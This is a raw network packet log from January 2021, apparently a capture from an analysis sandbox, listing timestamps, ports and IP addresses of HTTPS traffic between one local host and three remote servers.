Jan 13, 2021 13:44:42.579031944 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.579040051 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.579067945 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.579106092 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.579112053 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.579682112 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.579722881 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.579768896 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.579811096 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.579827070 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.579838991 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.579852104 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.579889059 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.579926014 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.579946995 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.580255985 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.580600023 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.580640078 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.580677032 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.580713034 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.580732107 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.580749989 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.580786943 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.580801964 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.580825090 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.580874920 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.581613064 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.581662893 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.581703901 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.581717968 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.581743002 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.581779957 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.581788063 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.581818104 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.581854105 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.581861973 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.582480907 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.582525015 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.582537889 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.582564116 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.582611084 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.582624912 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.582645893 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.582679987 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.582693100 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.582722902 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.582770109 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.582884073 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.582983017 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.583425999 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.583467007 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.583499908 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.583534002 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.583553076 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.583569050 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.583612919 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.583651066 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.583664894 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.584363937 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.584402084 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.584417105 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.584435940 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.584470987 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.584486008 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.584507942 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.584543943 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.584556103 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.584578037 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.584635973 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.585881948 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:43.799860954 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:43.847153902 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:43.847290993 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:47.049654007 CET	49188	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:47.097636938 CET	443	49188	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:47.098066092 CET	49188	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:47.143271923 CET	49188	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:47.191438913 CET	443	49188	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:47.191504955 CET	443	49188	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:47.191546917 CET	443	49188	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:47.191581964 CET	49188	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:47.191584110 CET	443	49188	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:47.191607952 CET	49188	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:47.191617966 CET	443	49188	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:47.191647053 CET	49188	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:47.192003012 CET	49188	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:47.206478119 CET	49188	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:47.254631042 CET	443	49188	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:47.254798889 CET	49188	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:47.740803003 CET	49188	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:47.887638092 CET	443	49188	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:48.650942087 CET	443	49188	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:48.651302099 CET	49188	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:48.654536963 CET	443	49188	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:48.654591084 CET	443	49188	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:48.654629946 CET	443	49188	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:48.654645920 CET	49188	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:48.654659986 CET	443	49188	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:48.654661894 CET	49188	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:48.654684067 CET	49188	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:48.654717922 CET	49188	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:48.667308092 CET	443	49188	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:48.667401075 CET	49188	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:48.667979002 CET	443	49188	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:48.668025017 CET	443	49188	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:48.668077946 CET	49188	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:48.668101072 CET	49188	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:48.674395084 CET	443	49188	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:48.674485922 CET	49188	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:48.675388098 CET	443	49188	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:48.675448895 CET	49188	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:49.775070906 CET	49188	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:49.788085938 CET	49190	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:49.823410988 CET	443	49188	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:49.823509932 CET	49188	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:49.836371899 CET	443	49190	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:49.836564064 CET	49190	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:49.848804951 CET	49190	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:49.898535013 CET	443	49190	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:49.898581028 CET	443	49190	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:49.898747921 CET	49190	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:49.901429892 CET	49190	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:49.938230038 CET	49190	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:49.954983950 CET	443	49190	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:49.986619949 CET	443	49190	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:49.988220930 CET	443	49190	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:49.988276005 CET	443	49190	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:49.988301039 CET	443	49190	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:49.988574982 CET	49190	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:54.332490921 CET	49192	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:54.381000996 CET	443	49192	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:54.382864952 CET	49192	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:54.467889071 CET	49192	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:54.516315937 CET	443	49192	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:54.516433001 CET	443	49192	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:54.516474962 CET	443	49192	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:54.516514063 CET	443	49192	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:54.516518116 CET	49192	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:54.516547918 CET	443	49192	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:54.516555071 CET	49192	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:54.516592979 CET	49192	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:54.525332928 CET	49192	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:54.573746920 CET	443	49192	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:54.576888084 CET	49192	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:55.224590063 CET	49192	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:55.279104948 CET	443	49192	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:55.602473021 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:55.648418903 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:55.649481058 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:55.656205893 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:55.702192068 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:55.705259085 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:55.705315113 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:55.707072973 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:55.716000080 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:55.761837006 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:55.763570070 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:55.953532934 CET	443	49192	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:55.953566074 CET	443	49192	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:55.953582048 CET	443	49192	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:55.953598022 CET	443	49192	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:55.953610897 CET	443	49192	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:55.953705072 CET	49192	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:55.953743935 CET	49192	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:55.959929943 CET	443	49192	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:55.960115910 CET	49192	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:55.960664988 CET	443	49192	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:55.960688114 CET	443	49192	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:55.962554932 CET	49192	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:55.964073896 CET	443	49192	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:55.966581106 CET	49192	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:55.971527100 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.012588978 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.014955997 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.120934010 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.166692972 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.454090118 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.454137087 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.454175949 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.454200983 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.454236984 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.454241991 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.454265118 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.454313993 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.454545021 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.454582930 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.454649925 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.455064058 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.455105066 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.455152035 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.456300020 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.456345081 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.456396103 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.457251072 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.457292080 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.457350969 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.458364010 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.458401918 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.458468914 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.459937096 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.459968090 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.460038900 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.460138083 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.460165977 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.460537910 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.460757017 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.460798979 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.460846901 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.461836100 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.461878061 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.462212086 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.462968111 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.463011026 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.463058949 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.463996887 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.464035034 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.464096069 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.465117931 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.465157032 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.465240002 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.466201067 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.554860115 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.554894924 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.555026054 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.555037975 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.555080891 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.555104017 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.555634975 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.555655003 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.555706024 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.556662083 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.556679964 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.556786060 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.557820082 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.557881117 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.557951927 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.558886051 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.558906078 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.558957100 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.559982061 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.560008049 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.560049057 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.561041117 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.561058998 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.561104059 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.562129974 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.562151909 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.562238932 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.563221931 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.563241005 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.563292980 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.564321995 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.564341068 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.564383984 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.565427065 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.565449953 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.565534115 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.566550016 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.566569090 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.566622019 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.567635059 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.567656040 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.567739010 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.571119070 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.571207047 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.571274996 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.571616888 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.571635962 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.571651936 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.571667910 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.571675062 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.571930885 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.572763920 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.572782040 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.572834969 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.573863029 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.573884010 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.573972940 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.574940920 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.574969053 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.575030088 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.576026917 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.576050043 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.576107979 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.577193975 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.577213049 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.577261925 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.578213930 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.578268051 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.578315973 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.579298019 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.579314947 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.579355001 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.580385923 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.580404043 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.580451965 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.600553989 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.600599051 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.600677967 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.656682968 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.656747103 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.656785965 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.656897068 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.657001972 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.657043934 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.657083035 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.657115936 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.657123089 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.657200098 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.658096075 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.658140898 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.658179998 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.658232927 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.658974886 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.659017086 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.659055948 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.659162045 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.660005093 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.660048962 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.660085917 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.660104990 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.660193920 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.660872936 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.660917044 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.660953999 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.661011934 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.661854982 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.661896944 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.661935091 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.661948919 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.661979914 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.662853956 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.662894011 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.662929058 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.662981033 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.663860083 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.663899899 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.663934946 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.663955927 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.664746046 CET	443	49193	172.67.219.133	192.168.2.22
